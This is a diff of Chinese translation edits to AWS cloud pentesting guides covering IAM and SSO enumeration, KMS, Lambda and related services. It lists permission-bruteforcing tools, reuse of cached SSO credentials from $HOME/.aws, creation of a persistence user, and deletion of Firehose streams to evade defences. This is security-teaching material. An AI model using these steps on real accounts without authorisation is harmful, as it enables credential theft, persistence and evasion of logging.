**Linux统一密钥设置**:加密EBS集群卷。用户可以选择AWS密钥管理服务(KMS)或自定义密钥提供者。 - **开源HDFS加密**:为Hadoop提供两种加密选项: - 安全Hadoop RPC(远程过程调用),设置为隐私,利用简单身份验证安全层。 - HDFS块传输加密,设置为true,使用AES-256算法。 - **传输中的加密**:专注于在传输过程中保护数据。选项包括: -- **开源传输层安全性(TLS)**:通过选择证书提供者可以启用加密: -- **PEM**:需要手动创建并将PEM证书打包到zip文件中,从S3桶中引用。 +- **开源传输层安全性(TLS)**:通过选择证书提供者可以启用加密: +- **PEM**:需要手动创建并将PEM证书打包成zip文件,从S3桶中引用。 - **自定义**:涉及添加自定义Java类作为证书提供者,提供加密工件。 一旦将TLS证书提供者集成到安全配置中,可以激活以下特定于应用程序的加密功能,具体取决于EMR版本: - **Hadoop**: -- 可能会减少使用TLS的加密洗牌。 +- 可能使用TLS减少加密的洗牌。 - 使用简单身份验证安全层的安全Hadoop RPC和使用AES-256的HDFS块传输在静态加密时激活。 -- **Presto**(EMR版本5.6.0+): +- **Presto** (EMR版本5.6.0+): - Presto节点之间的内部通信使用SSL和TLS进行安全保护。 - **Tez Shuffle Handler**: - 使用TLS进行加密。 - **Spark**: -- 对Akka协议使用TLS。 -- 对块传输服务使用简单身份验证安全层和3DES。 +- 为Akka协议使用TLS。 +- 使用简单身份验证安全层和3DES进行块传输服务。 - 外部洗牌服务使用简单身份验证安全层进行保护。 这些功能共同增强了EMR集群的安全态势,特别是在存储和传输阶段的数据保护方面。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index b0f8a4806..a34cc884f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -90,11 +90,11 @@ aws iam list-virtual-mfa-devices ``` ### 权限暴力破解 -如果您对自己的权限感兴趣,但没有权限查询 IAM,您可以尝试暴力破解它们。 +如果您对自己的权限感兴趣,但没有访问查询 IAM 的权限,您可以尝试暴力破解它们。 #### bf-aws-permissions -工具 [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) 只是一个 bash 脚本,它将使用指定的配置文件运行所有可以通过 `aws` cli 帮助信息找到的 **`list*`, `describe*`, `get*`** 操作,并 **返回成功的执行结果**。 +工具 [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) 只是一个 bash 脚本,它将使用指定的配置文件运行所有可以通过 `aws` cli 帮助信息找到的 **`list*`、`describe*`、`get*`** 操作,并 **返回成功的执行结果**。 ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt @@ -108,7 +108,7 @@ python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -如果你发现**你的用户拥有某些权限**,并且你认为这些权限是由**托管的 AWS 角色**授予的(而不是自定义角色)。你可以使用工具 [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) 来检查所有**授予你发现的权限的 AWS 托管角色**。 +如果你发现了**你的用户拥有的一些权限**,并且你认为这些权限是由**托管的 AWS 角色**授予的(而不是自定义角色)。你可以使用工具 [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) 来检查所有**授予你发现的权限的 AWS 托管角色**。 ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt @@ -118,7 +118,7 @@ python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file exampl #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) 是一个Python工具,用于分析**AWS CloudTrail日志以提取和总结**所有人或特定用户或角色所执行的操作。该工具将**解析指定存储桶中的每个cloudtrail日志**。 +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) 是一个Python工具,分析**AWS CloudTrail日志以提取和总结所有人或特定用户或角色所做的操作**。该工具将**解析来自指定存储桶的每个cloudtrail日志**。 ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM @@ -126,16 +126,16 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> 如果你找到 .tfstate(Terraform 状态文件)或 CloudFormation 文件(这些通常是位于以 cf-templates 为前缀的桶中的 yaml 文件),你也可以读取它们以查找 aws 配置并找出哪些权限被分配给了谁。 +> 如果你找到 .tfstate(Terraform 状态文件)或 CloudFormation 文件(这些通常是位于以 cf-templates 为前缀的桶中的 yaml 文件),你也可以读取它们以查找 aws 配置并找出哪些权限已分配给谁。 #### enumerate-iam 要使用工具 [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam),你首先需要下载所有的 API AWS 端点,从中脚本 **`generate_bruteforce_tests.py`** 将获取所有的 **"list\_", "describe\_", 和 "get\_" 端点。** 最后,它将尝试 **使用给定的凭据访问它们** 并 **指示是否成功**。 -(根据我的经验,**该工具在某些时候会挂起**, [**查看此修复**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) 尝试修复这个问题)。 +(根据我的经验,**工具在某个时刻会挂起**, [**查看此修复**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) 尝试修复这个问题)。 > [!WARNING] -> 根据我的经验,这个工具与前一个工具类似,但工作效果更差,检查的权限更少。 +> 根据我的经验,这个工具与之前的工具类似,但工作效果更差,检查的权限更少。 ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -您还可以使用工具 [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki)。该工具将检查 **多个常见服务上的几个常见操作**(将检查一些枚举权限和一些权限提升权限)。但它只会检查编码的检查(检查更多内容的唯一方法是编写更多测试)。 +您还可以使用工具 [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki)。该工具将检查 **多个常见服务上的多个常见操作**(将检查一些枚举权限和一些特权提升权限)。但它只会检查编码的检查(检查更多内容的唯一方法是编写更多测试)。 ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -178,7 +178,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` -#### 加固工具以 BF 权限 +#### 加固工具以暴力破解权限 {{#tabs }} {{#tab name="CloudSploit" }} @@ -218,7 +218,7 @@ steampipe dashboard ### 权限提升 -在以下页面中,你可以查看如何**滥用 IAM 权限以提升权限**: +在以下页面中,你可以查看如何 **滥用 IAM 权限以提升权限**: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md @@ -238,7 +238,7 @@ steampipe dashboard ## IAM 身份中心 -你可以在以下位置找到**IAM 身份中心的描述**: +你可以在以下位置找到 **IAM 身份中心的描述**: {{#ref}} ../aws-basic-information/ @@ -255,9 +255,9 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` -### Enumeration +### 枚举 -身份中心的主要元素包括: +身份中心的主要元素是: - 用户和组 - 权限集:附加了策略 @@ -266,7 +266,7 @@ sso_region = us-east-1 然后,创建关系,使用户/组对 AWS 账户拥有权限集。 > [!NOTE] -> 请注意,有三种方法可以将策略附加到权限集。附加 AWS 管理的策略、客户管理的策略(这些策略需要在权限集影响的所有账户中创建)和内联策略(在此定义)。 +> 请注意,有三种方法可以将策略附加到权限集。附加 AWS 管理的策略、客户管理的策略(这些策略需要在所有受权限集影响的账户中创建)和内联策略(在此定义)。 ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -300,9 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` -### Local Enumeration +### 本地枚举 -可以在文件夹 `$HOME/.aws` 内创建文件 config,以配置可以通过 SSO 访问的配置文件,例如: +可以在文件夹 `$HOME/.aws` 内创建配置文件,以配置可以通过 SSO 访问的配置文件,例如: ```ini [default] region = us-west-2 @@ -327,7 +327,7 @@ aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` -当使用 **SSO 的配置文件** 访问某些信息时,凭据会 **缓存** 在文件中,位于文件夹 **`$HOME/.aws/sso/cache`** 内。因此,它们可以 **从那里读取和使用**。 +当使用 **SSO 的配置文件** 访问某些信息时,凭据会被 **缓存** 在文件中,位于文件夹 **`$HOME/.aws/sso/cache`** 内。因此,它们可以 **从那里读取和使用**。 此外,**更多凭据** 可以存储在文件夹 **`$HOME/.aws/cli/cache`** 中。此缓存目录主要在您 **使用 AWS CLI 配置文件** 时使用,这些配置文件使用 IAM 用户凭据或通过 IAM **假设** 角色(不使用 SSO)。配置示例: ```ini @@ -349,7 +349,7 @@ external_id = 123456 ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### 利用后 +### 后期利用 {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -357,7 +357,7 @@ external_id = 123456 ### 持久性 -#### 创建用户并为其分配权限 +#### 创建用户并分配权限 ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index b7e559e60..8c2ae62ee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,9 +4,9 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose 是一个 **完全托管的服务**,便于 **实时流数据** 的交付。它支持多种目的地,包括 Amazon Simple Storage Service (Amazon S3)、Amazon Redshift、Amazon OpenSearch Service、Splunk 和自定义 HTTP 端点。 +Amazon Kinesis Data Firehose 是一个 **完全托管的服务**,便于 **实时流数据** 的传输。它支持多种目标,包括 Amazon Simple Storage Service (Amazon S3)、Amazon Redshift、Amazon OpenSearch Service、Splunk 和自定义 HTTP 端点。 -该服务通过允许数据生产者配置为直接将数据转发到 Kinesis Data Firehose,减轻了编写应用程序或管理资源的需求。该服务负责 **将数据自动交付到指定目的地**。此外,Kinesis Data Firehose 提供了 **在交付之前转换数据** 的选项,增强了其灵活性和适用性,以满足各种用例。 +该服务通过允许数据生产者配置为直接将数据转发到 Kinesis Data Firehose,减轻了编写应用程序或管理资源的需求。该服务负责 **将数据自动传送到指定目标**。此外,Kinesis Data Firehose 提供了 **在交付之前转换数据** 的选项,增强了其灵活性和适用性,以满足各种用例。 ### Enumeration ```bash @@ -20,7 +20,7 @@ aws firehose describe-delivery-stream --delivery-stream-name | grep -i Ro ``` ## 后期利用 / 防御绕过 -如果 firehose 被用来发送日志或防御洞察,攻击者可以利用这些功能来阻止其正常工作。 +如果 firehose 被用来发送日志或防御洞察,攻击者可以利用这些功能阻止其正常工作。 ### firehose:DeleteDeliveryStream ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index e02a7cff7..04a99b7ca 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -6,22 +6,22 @@ AWS 密钥管理服务 (AWS KMS) 被呈现为一种托管服务,简化了用户**创建和管理客户主密钥** (CMK) 的过程。这些 CMK 在用户数据的加密中至关重要。AWS KMS 的一个显著特点是 CMK 主要由**硬件安全模块** (HSM) 保护,增强了加密密钥的保护。 -KMS 使用**对称加密**。这用于**加密静态信息**(例如,在 S3 中)。如果您需要**加密传输中的信息**,则需要使用类似**TLS**的东西。 +KMS 使用**对称加密**。这用于**加密静态信息**(例如,在 S3 内部)。如果您需要**加密传输中的信息**,则需要使用类似**TLS**的东西。 KMS 是一种**区域特定服务**。 -**亚马逊的管理员无法访问您的密钥**。他们无法恢复您的密钥,也不会帮助您加密您的密钥。AWS 仅管理操作系统和底层应用程序,管理我们的加密密钥及其使用方式由我们自己负责。 +**亚马逊的管理员无法访问您的密钥**。他们无法恢复您的密钥,也不会帮助您加密密钥。AWS 仅管理操作系统及其底层应用程序,管理我们的加密密钥及其使用方式则由我们自己负责。 -**客户主密钥** (CMK):可以加密最大 4KB 的数据。它们通常用于创建、加密和解密 DEK(数据加密密钥)。然后使用 DEK 来加密数据。 +**客户主密钥** (CMK):可以加密最大 4KB 大小的数据。它们通常用于创建、加密和解密 DEK(数据加密密钥)。然后使用 DEK 来加密数据。 -客户主密钥 (CMK) 是 AWS KMS 中主密钥的逻辑表示。除了主密钥的标识符和其他元数据(包括创建日期、描述和密钥状态)外,**CMK 包含用于加密和解密数据的密钥材料**。当您创建 CMK 时,默认情况下,AWS KMS 为该 CMK 生成密钥材料。然而,您可以选择创建没有密钥材料的 CMK,然后将自己的密钥材料导入该 CMK。 +客户主密钥 (CMK) 是 AWS KMS 中主密钥的逻辑表示。除了主密钥的标识符和其他元数据(包括创建日期、描述和密钥状态)外,**CMK 包含用于加密和解密数据的密钥材料**。当您创建 CMK 时,默认情况下,AWS KMS 会为该 CMK 生成密钥材料。然而,您可以选择创建没有密钥材料的 CMK,然后将自己的密钥材料导入该 CMK。 -有两种类型的主密钥: +主密钥有两种类型: - **AWS 管理的 CMK:由其他服务用于加密数据**。它由在区域中创建它的服务使用。它们在您首次在该服务中实现加密时创建。每 3 年轮换一次,无法更改。 - **客户管理的 CMK**:灵活性、轮换、可配置的访问和密钥策略。启用和禁用密钥。 -**信封加密**在密钥管理服务 (KMS) 的上下文中:两级层次系统,用于**用数据密钥加密数据,然后用主密钥加密数据密钥**。 +**信封加密**在密钥管理服务 (KMS) 的上下文中:两级层次系统,用于**使用数据密钥加密数据,然后使用主密钥加密数据密钥**。 ### 密钥策略 @@ -33,13 +33,13 @@ KMS 是一种**区域特定服务**。 与其他 AWS 资源策略不同,AWS **KMS 密钥策略不会自动授予账户的任何主体权限**。要授予账户管理员权限,**密钥策略必须包含提供此权限的明确声明**,如下所示。 -- 如果不允许账户(`"AWS": "arn:aws:iam::111122223333:root"`),IAM 权限将无效。 +- 如果不允许账户(`"AWS": "arn:aws:iam::111122223333:root"`)的 IAM 权限将无效。 - 它**允许账户使用 IAM 策略**来允许访问 KMS 密钥,除了密钥策略之外。 **没有此权限,允许访问密钥的 IAM 策略将无效**,尽管拒绝访问密钥的 IAM 策略仍然有效。 -- 它**通过向账户管理员(包括无法删除的账户根用户)授予访问控制权限,降低密钥变得不可管理的风险**。 +- 它**通过向账户管理员(包括无法删除的账户根用户)授予访问控制权限,降低了密钥变得不可管理的风险**。 **默认策略**示例: ```json @@ -54,7 +54,7 @@ KMS 是一种**区域特定服务**。 } ``` > [!WARNING] -> 如果**账户被允许**(`"arn:aws:iam::111122223333:root"`),则该账户的**主体**仍然需要**IAM权限**才能使用KMS密钥。然而,如果某个角色的**ARN**在**密钥策略**中**被特别允许**,则该角色**不需要IAM权限**。 +> 如果**账户被允许**(`"arn:aws:iam::111122223333:root"`),则该账户的**主体**仍然需要IAM权限才能使用KMS密钥。然而,如果某个角色的**ARN**在**密钥策略**中**被特别允许**,则该角色**不需要IAM权限**。
@@ -71,7 +71,7 @@ KMS 是一种**区域特定服务**。 授权: -- 允许将您的权限委托给您AWS账户内的另一个AWS主体。您需要使用AWS KMS API创建它们。可以指明CMK标识符、受赠主体和所需的操作级别(解密、加密、生成数据密钥...) +- 允许将您的权限委托给您AWS账户内的另一个AWS主体。您需要使用AWS KMS API创建它们。可以指明CMK标识符、授权主体和所需的操作级别(解密、加密、生成数据密钥...) - 授权创建后,会发出GrantToken和GrantID **访问**: @@ -87,13 +87,13 @@ KMS 是一种**区域特定服务**。 默认的密钥管理员: - 有权管理KMS,但无权加密或解密数据 -- 只能将IAM用户和角色添加到密钥管理员列表中(不能是组) +- 只有IAM用户和角色可以添加到密钥管理员列表中(不包括组) - 如果使用外部CMK,密钥管理员有权限导入密钥材料 ### CMK的轮换 -- 同一密钥放置的时间越长,使用该密钥加密的数据就越多,如果该密钥被泄露,则数据的风险范围就越大。此外,密钥活动的时间越长,被泄露的概率就越高。 -- **KMS每365天轮换客户密钥**(或者您可以在任何时候手动执行此过程),**AWS管理的密钥每3年轮换一次**,且此时间无法更改。 +- 同一密钥放置的时间越长,使用该密钥加密的数据就越多,如果该密钥被泄露,则数据的风险范围就越广。此外,密钥活动的时间越长,被泄露的概率就越高。 +- **KMS每365天轮换客户密钥**(或者您可以在任何时候手动执行此过程),**AWS管理的密钥每3年轮换一次**,且此时间不可更改。 - **旧密钥被保留**以解密在轮换之前加密的数据 - 在泄露的情况下,轮换密钥不会消除威胁,因为仍然可以解密所有使用被泄露密钥加密的数据。然而,**新数据将使用新密钥加密**。 - 如果**CMK**处于**禁用**或**待删除**状态,KMS将**不执行密钥轮换**,直到CMK被重新启用或删除被取消。 @@ -101,7 +101,7 @@ KMS 是一种**区域特定服务**。 #### 手动轮换 - 需要**创建一个新CMK**,然后创建一个新的CMK-ID,因此您需要**更新**任何**应用程序**以**引用**新的CMK-ID。 -- 为了简化此过程,您可以**使用别名引用密钥ID**,然后只需更新别名所指向的密钥。 +- 为了简化此过程,您可以**使用别名来引用密钥ID**,然后只需更新别名所指向的密钥。 - 您需要**保留旧密钥以解密使用其加密的旧文件**。 您可以从您的本地密钥基础设施导入密钥。 @@ -129,7 +129,7 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` -### 提权 +### 权限提升 {{#ref}} ../aws-privilege-escalation/aws-kms-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 0d423adf9..540c67876 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,17 +4,17 @@ ## Lambda -亚马逊网络服务(AWS)Lambda 被描述为一种 **计算服务**,使得在不需要服务器配置或管理的情况下执行代码成为可能。它的特点是能够 **自动处理代码执行所需的资源分配**,确保高可用性、可扩展性和安全性等特性。Lambda 的一个重要方面是其定价模型,**费用仅基于所使用的计算时间**,消除了初始投资或长期义务的需要。 +Amazon Web Services (AWS) Lambda 被描述为一种 **计算服务**,使得代码的执行无需服务器的提供或管理。它的特点是能够 **自动处理代码执行所需的资源分配**,确保高可用性、可扩展性和安全性等特性。Lambda 的一个重要方面是其定价模型,**费用仅基于所使用的计算时间**,消除了初始投资或长期义务的需要。 -要调用一个 lambda,可以 **随意调用**(使用 Cloudwatch),**暴露**一个 **URL** 端点并调用它,通过 **API Gateway** 调用,甚至基于 **事件**,例如 **S3** 存储桶中的数据 **更改** 或 **DynamoDB** 表的更新。 +要调用一个 lambda,可以 **随时调用**(使用 Cloudwatch),**暴露**一个 **URL** 端点并调用它,通过 **API Gateway** 调用它,或者基于 **事件** 进行调用,例如 **S3** 存储桶中的数据 **更改** 或 **DynamoDB** 表的更新。 一个 lambda 的 **代码** 存储在 **`/var/task`** 中。 ### Lambda Aliases Weights 一个 Lambda 可以有 **多个版本**。\ -它可以通过 **别名** 暴露 **多个** 版本。每个别名中暴露的 **版本** 的 **权重** 将决定 **哪个别名接收调用**(例如可以是 90%-10%)。\ -如果 **一个** 别名的代码是 **脆弱的**,你可以发送 **请求,直到脆弱** 的版本接收到攻击。 +并且它可以通过 **别名** 暴露 **多个版本**。在别名中暴露的 **每个版本** 的 **权重** 将决定 **哪个别名接收调用**(例如可以是 90%-10%)。\ +如果 **一个** 别名的代码是 **脆弱的**,你可以发送 **请求直到脆弱的** 版本接收到利用。 ![](<../../../images/image (223).png>) @@ -32,7 +32,7 @@ Lambda 资源策略允许 **授予其他服务/账户调用** lambda 的权限 ### Lambda Database Proxies 当有 **数百个** **并发的 lambda 请求** 时,如果每个请求都需要 **连接并关闭与数据库的连接**,这根本行不通(lambdas 是无状态的,无法保持连接打开)。\ -因此,如果你的 **Lambda 函数与 RDS Proxy 交互** 而不是与数据库实例交互。它处理并发 Lambda 函数创建的许多同时连接所需的连接池。这使得你的 Lambda 应用程序能够 **重用现有连接**,而不是为每个函数调用创建新连接。 +因此,如果你的 **Lambda 函数与 RDS Proxy 交互** 而不是你的数据库实例。它处理并发 Lambda 函数创建的许多同时连接所需的连接池。这使得你的 Lambda 应用程序能够 **重用现有连接**,而不是为每次函数调用创建新连接。 ### Lambda EFS Filesystems @@ -40,17 +40,17 @@ Lambda 资源策略允许 **授予其他服务/账户调用** lambda 的权限 ### Lambda Layers -一个 Lambda _layer_ 是一个 .zip 文件归档,**可以包含额外的代码**或其他内容。一个 layer 可以包含库、[自定义运行时](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、数据或配置文件。 +一个 Lambda _layer_ 是一个 .zip 文件归档,**可以包含额外的代码** 或其他内容。一个 layer 可以包含库、[自定义运行时](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、数据或配置文件。 -每个函数最多可以包含 **五个层**。当你在一个函数中包含一个 layer 时,**内容会被提取到执行环境中的 `/opt`** 目录。 +每个函数最多可以包含 **五个层**。当你在一个函数中包含一个 layer 时,**内容会被提取到 `/opt`** 目录中。 -默认情况下,你创建的 **layers** 是 **私有** 的,属于你的 AWS 账户。你可以选择 **与其他账户共享** 一个 layer 或 **将** 该 layer **公开**。如果你的函数使用了一个不同账户发布的 layer,你的函数可以 **在该 layer 被删除后,或在你被撤销访问该 layer 的权限后继续使用该 layer 版本**。但是,你不能使用已删除的 layer 版本创建新函数或更新函数。 +默认情况下,你创建的 **layers** 是 **私有** 的,属于你的 AWS 账户。你可以选择 **与其他账户共享** 一个 layer 或 **将** 该 layer **公开**。如果你的函数使用了一个不同账户发布的 layer,你的函数可以 **在该 layer 被删除后,或在你被撤销访问该 layer 的权限后继续使用该 layer 版本**。然而,你不能使用已删除的 layer 版本创建新函数或更新函数。 作为容器镜像部署的函数不使用 layers。相反,你在构建镜像时将所需的运行时、库和其他依赖项打包到容器镜像中。 ### Lambda Extensions -Lambda 扩展通过与各种 **监控、可观察性、安全性和治理工具** 集成来增强函数。这些扩展通过 [.zip 归档使用 Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 添加,或包含在 [容器镜像部署中](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/),以两种模式运行:**内部** 和 **外部**。 +Lambda 扩展通过与各种 **监控、可观察性、安全性和治理工具** 集成来增强函数。这些扩展通过 [.zip 归档使用 Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 或包含在 [容器镜像部署中](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) 进行操作,分为两种模式:**内部** 和 **外部**。 - **内部扩展** 与运行时进程合并,使用 **特定语言的环境变量** 和 **包装脚本** 操作其启动。此自定义适用于多种运行时,包括 **Java Correto 8 和 11、Node.js 10 和 12,以及 .NET Core 3.1**。 - **外部扩展** 作为单独的进程运行,与 Lambda 函数的生命周期保持操作一致。它们与多种运行时兼容,如 **Node.js 10 和 12、Python 3.7 和 3.8、Ruby 2.5 和 2.7、Java Corretto 8 和 11、.NET Core 3.1** 以及 **自定义运行时**。 @@ -110,13 +110,13 @@ aws lambda get-function-url-config --function-name #Get lambda ``` #### 通过 URL 调用 Lambda 函数 -现在是时候找出可以执行的可能的 lambda 函数了: +现在是时候找出可以执行的可能的 lambda 函数: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -一个名为“Level6”的lambda函数可用。让我们找出如何调用它: +一个名为 "Level6" 的 lambda 函数可用。让我们找出如何调用它: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` @@ -152,7 +152,7 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### 利用后 +### 后期利用 {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ @@ -164,7 +164,7 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## 参考 +## 参考文献 - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 3af464cee..5521a6bf3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,8 +4,8 @@ ## AWS - Lightsail -Amazon Lightsail 提供了一种**简单**、轻量级的方式,让新的云用户能够利用 AWS 的云计算服务。它允许您通过 **VMs** (**EC2**) 和 **containers** 在几秒钟内部署常见和自定义的网络服务。\ -它是一个**最小的 EC2 + Route53 + ECS**。 +Amazon Lightsail 提供了一种 **简单**、轻量级的方式,让新的云用户能够利用 AWS 的云计算服务。它允许您通过 **VMs** (**EC2**) 和 **containers** 在几秒钟内部署常见和自定义的网络服务。\ +它是一个 **最小的 EC2 + Route53 + ECS**。 ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 05359a487..1499ba107 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -6,19 +6,19 @@ ### 消息代理简介 -**消息代理**作为中介,促进不同软件系统之间的通信,这些系统可能建立在不同的平台上,并用不同的语言编程。**Amazon MQ**简化了在AWS上部署、操作和维护消息代理的过程。它为**Apache ActiveMQ**和**RabbitMQ**提供托管服务,确保无缝的资源配置和自动软件版本更新。 +**消息代理**作为中介,促进不同软件系统之间的通信,这些系统可能建立在不同的平台上并使用不同的语言编程。**Amazon MQ**简化了在AWS上部署、操作和维护消息代理的过程。它为**Apache ActiveMQ**和**RabbitMQ**提供托管服务,确保无缝的资源配置和自动软件版本更新。 ### AWS - RabbitMQ -RabbitMQ是一种突出的**消息队列软件**,也被称为_消息代理_或_队列管理器_。它本质上是一个配置队列的系统。应用程序通过这些队列**发送和接收消息**。在这种情况下,消息可以携带各种信息,从启动其他应用程序(可能在不同服务器上)进程的命令到简单的文本消息。这些消息由队列管理软件保存,直到被接收应用程序检索和处理。AWS提供了一个易于使用的解决方案来托管和管理RabbitMQ服务器。 +RabbitMQ是一种著名的**消息队列软件**,也被称为_消息代理_或_队列管理器_。它本质上是一个配置队列的系统。应用程序通过这些队列**发送和接收消息**。在此上下文中,消息可以携带各种信息,从启动其他应用程序(可能在不同服务器上)进程的命令到简单的文本消息。这些消息由队列管理软件保存,直到被接收应用程序检索和处理。AWS提供了一个易于使用的解决方案来托管和管理RabbitMQ服务器。 ### AWS - ActiveMQ -Apache ActiveMQ®是一种领先的开源、基于Java的**消息代理**,以其多功能性而闻名。它支持多种行业标准协议,提供广泛的客户端兼容性,适用于各种语言和平台。用户可以: +Apache ActiveMQ®是一种领先的开源、基于Java的**消息代理**,以其多功能性而闻名。它支持多种行业标准协议,提供广泛的客户端兼容性,适用于多种语言和平台。用户可以: -- 连接用JavaScript、C、C++、Python、.Net等编写的客户端。 +- 连接使用JavaScript、C、C++、Python、.Net等编写的客户端。 - 利用**AMQP**协议集成来自不同平台的应用程序。 -- 使用**STOMP**通过WebSocket进行Web应用程序消息交换。 +- 使用**STOMP**通过websockets进行Web应用程序消息交换。 - 使用**MQTT**管理物联网设备。 - 维护现有的**JMS**基础设施并扩展其功能。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 48743518d..7792aa546 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,17 +4,17 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** 是一个完全托管的服务,便于开发和执行处理流数据的应用程序,通过 **Apache Kafka**。控制平面操作,包括 **集群** 的创建、更新和删除,由 Amazon MSK 提供。该服务允许利用 Apache Kafka **数据平面操作**,包括数据生产和消费。它基于 **Apache Kafka** 的开源版本运行,确保与现有应用程序、工具和来自合作伙伴及 **Apache Kafka 社区** 的插件兼容,消除了对应用程序代码进行更改的需要。 +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** 是一个完全托管的服务,便于开发和执行处理流数据的应用程序,通过 **Apache Kafka**。控制平面操作,包括 **集群** 的创建、更新和删除,由 Amazon MSK 提供。该服务允许使用 Apache Kafka 